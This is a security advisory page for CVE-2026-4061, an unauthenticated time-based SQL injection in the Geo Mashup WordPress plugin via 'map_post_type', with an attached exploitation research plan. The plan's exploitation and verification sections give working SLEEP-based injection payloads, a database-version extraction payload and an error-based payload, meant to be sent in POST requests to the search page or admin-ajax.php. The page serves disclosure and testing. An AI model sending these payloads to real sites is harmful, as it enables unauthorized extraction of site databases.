CVE-2026-4061

Geo Mashup <= 1.13.18 - Unauthenticated Time-Based SQL Injection via 'map_post_type' Parameter

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
1.13.19
Patched in
5d
Time to patch

Description

The Geo Mashup plugin for WordPress is vulnerable to Time-Based SQL Injection via the 'map_post_type' parameter in all versions up to, and including, 1.13.18. This is due to the `SearchResults` hook explicitly calling `stripslashes_deep($_POST)` which removes WordPress magic quotes protection, followed by the unsanitized `map_post_type` value being concatenated into an `IN(...)` clause without `esc_sql()` or `$wpdb->prepare()`. The 'any' branch of the same code correctly applies `array_map('esc_sql', ...)`, but the else branch does not. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database via a time-based blind approach. Exploitation requires the Geo Search feature to be enabled in plugin settings.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.13.18
PublishedMay 1, 2026
Last updatedMay 5, 2026
Affected plugingeo-mashup

What Changed in the Fix

Changes introduced in v1.13.19

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the steps required to analyze and exploit CVE-2026-4061, a time-based SQL injection vulnerability in the Geo Mashup plugin. --- ### 1. Vulnerability Summary * **ID:** CVE-2026-4061 * **Plugin:** Geo Mashup (geo-mashup) * **Affected Versions:** <= 1.13.18 * **Vul…

Show full research plan

This research plan outlines the steps required to analyze and exploit CVE-2026-4061, a time-based SQL injection vulnerability in the Geo Mashup plugin.


1. Vulnerability Summary

  • ID: CVE-2026-4061
  • Plugin: Geo Mashup (geo-mashup)
  • Affected Versions: <= 1.13.18
  • Vulnerability Type: Unauthenticated Time-Based SQL Injection
  • Vulnerable Parameter: map_post_type
  • Root Cause: The plugin's Geo Search feature (specifically in GeoMashup\Search) fails to sanitize the map_post_type parameter when it is not set to 'any'. Furthermore, the code explicitly removes WordPress's built-in magic quotes by calling stripslashes_deep($_POST), and then concatenates the raw input into a SQL IN(...) clause within the GeoMashupDB::get_object_locations method.
  • Precondition: The "Geo Search" feature must be enabled in the plugin settings.

2. Attack Vector Analysis

  • Endpoint: The frontend page containing the Geo Search form or the AJAX endpoint wp-admin/admin-ajax.php.
  • Action: nopriv_geo_mashup_query (if using AJAX) or a standard POST to a page with the search shortcode.
  • Authentication: None (Unauthenticated).
  • Parameter: map_post_type (POST).
  • Helper Parameters:
    • object_name: Must be set to post to reach the vulnerable code path in php/Search.php.
    • location_text: Must be a valid string (e.g., "New York") to pass geocoding checks and trigger the database query.

3. Code Flow

  1. Entry Point: An unauthenticated user sends a POST request with map_post_type and geo_mashup_search parameters.
  2. Processing: The plugin (likely in a init or wp hook in geo-mashup-search.php) detects a search submission and calls stripslashes_deep($_POST).
  3. Instantiation: A new GeoMashup\Search object is created: new Search( $_POST ).
  4. Query Setup (php/Search.php):
    • The query() method is called.
    • extract( $this->query_vars, EXTR_OVERWRITE ) populates local variables, including $map_post_type and $object_name.
    • If $object_name === 'post' and $map_post_type is set, it is assigned to $geo_query_args['map_post_type'].
  5. Database Sink (geo-mashup-db.php):
    • GeoMashupDB::get_object_locations( $geo_query_args ) is called.
    • Inside this method, code checks if $map_post_type is 'any'. If not, it enters an else branch where $map_post_type is concatenated directly into a string used in an IN clause: ... AND post_type IN ($map_post_type) ....

4. Nonce Acquisition Strategy

Based on the plugin's architecture, the public-facing Geo Search feature typically does not require a nonce to allow search engines and guests to use the search functionality.

However, if a nonce is detected during manual inspection of the search form:

  1. Identify the shortcode: [geo_mashup_search].
  2. Create a test page: wp post create --post_type=page --post_status=publish --post_content='[geo_mashup_search]'.
  3. Navigate to the page using the browser_navigate tool.
  4. Check for a nonce field in the form: browser_eval("document.querySelector('input[name=\"_wpnonce\"]')?.value").
  5. Check for localized scripts: browser_eval("window.GeoMashupSearchData?.nonce") (inferred variable name).

5. Exploitation Strategy

The exploitation will use a time-based blind SQL injection payload.

  • Step 1: Enable Geo Search
    The feature is disabled by default. Use WP-CLI to enable it.

    wp option patch insert geo_mashup_options overall '{"enable_geo_search":"true"}' --format=json
    
  • Step 2: Create Search Page
    Create a page to host the search functionality.

    wp post create --post_type=page --post_title="Geo Search" --post_status=publish --post_content='[geo_mashup_search]'
    
  • Step 3: Perform Time-Based Injection
    Send a POST request to the newly created page (or admin-ajax.php if applicable).

    Payload Logic:
    The input is placed inside IN (...). We need to break out or append to the clause.
    Payload: 'post') AND (SELECT 1 FROM (SELECT SLEEP(5))A)-- -

    HTTP Request (Targeting the page directly):

    • URL: http://localhost:8080/geo-search/ (adjust to the actual page slug)
    • Method: POST
    • Headers: Content-Type: application/x-www-form-urlencoded
    • Body:
      location_text=New+York&object_name=post&map_post_type='post') AND (SELECT 22 FROM (SELECT(SLEEP(5)))a)-- -
      

6. Test Data Setup

  1. Plugin Configuration:
    • Enable enable_geo_search in geo_mashup_options.
    • Ensure at least one post has a location assigned (use wp geo-mashup commands if available, or manually via admin if necessary).
  2. Shortcode Page:
    • Page Title: "Exploit Test"
    • Content: [geo_mashup_search]

7. Expected Results

  • Vulnerable Version: The server response will be delayed by approximately 5 seconds.
  • Patched Version: The server will respond immediately, likely with an error or no results, as esc_sql or prepare() will escape the quotes and parentheses, neutralizing the injection.

8. Verification Steps

After the HTTP request, verify the behavior:

  1. Check the time elapsed for the request. If > 5.0s, SQLi is confirmed.
  2. Modify the payload to SLEEP(0) and verify the response is immediate (< 1.0s).
  3. Use the injection to extract the database version as further proof:
    map_post_type='post') AND (SELECT 1 FROM (SELECT(IF(SUBSTRING(version(),1,1)='5',SLEEP(5),0)))a)-- -
    

9. Alternative Approaches

  • AJAX Endpoint: If the frontend page logic is complex, target the registered AJAX action directly:
    • URL: http://localhost:8080/wp-admin/admin-ajax.php
    • Body: action=geo_mashup_query&object_name=post&map_post_type=[PAYLOAD]&location_text=New+York
  • Error-Based: If WP_DEBUG is enabled, try inducing a syntax error to see if $wpdb->last_error is reflected in the output:
    • Payload: map_post_type='post' OR 1=extractvalue(1,concat(0x7e,version()))

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.